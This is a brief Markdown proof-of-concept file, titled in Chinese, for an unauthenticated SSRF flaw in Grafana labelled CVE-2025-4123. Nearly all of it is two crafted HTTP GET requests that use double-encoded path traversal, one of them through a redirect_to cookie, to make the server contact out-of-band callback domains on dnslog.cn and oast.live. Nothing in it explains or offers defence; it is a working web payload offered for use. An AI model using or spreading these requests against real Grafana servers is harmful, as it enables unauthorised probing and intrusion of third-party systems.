Create Grafana存在未授权SSRF漏洞(CVE-2025-4123).md

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# Grafana存在未授权SSRF漏洞(CVE-2025-4123)
## poc
```javascript
GET /render/public/..%252f%255Cczeqm5.dnslog.cn%252f%253F%252f..%252f.. HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Fedora; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept-Encoding: gzip
```
<img width="886" alt="1749624834319" src="https://github.com/user-attachments/assets/e139dab4-6d61-4f29-aff2-a8f84d29cd6c" />
```
GET /public/..%2F%5c123.czeqm5.dnslog.cn%2F%3f%2F..%2F.. HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12) AppleWebKit/616.19 (KHTML, like Gecko) Version/17.7.17 Safari/616.19
Connection: close
Cookie: redirect_to=%2Frender%2Fpublic%2F..%25252f%25255Cd0nt31pu8bl7cn5ncca08sg68smps8h39.oast.live%25252f%25253F%25252f..%25252f..
Accept-Encoding: gzip
```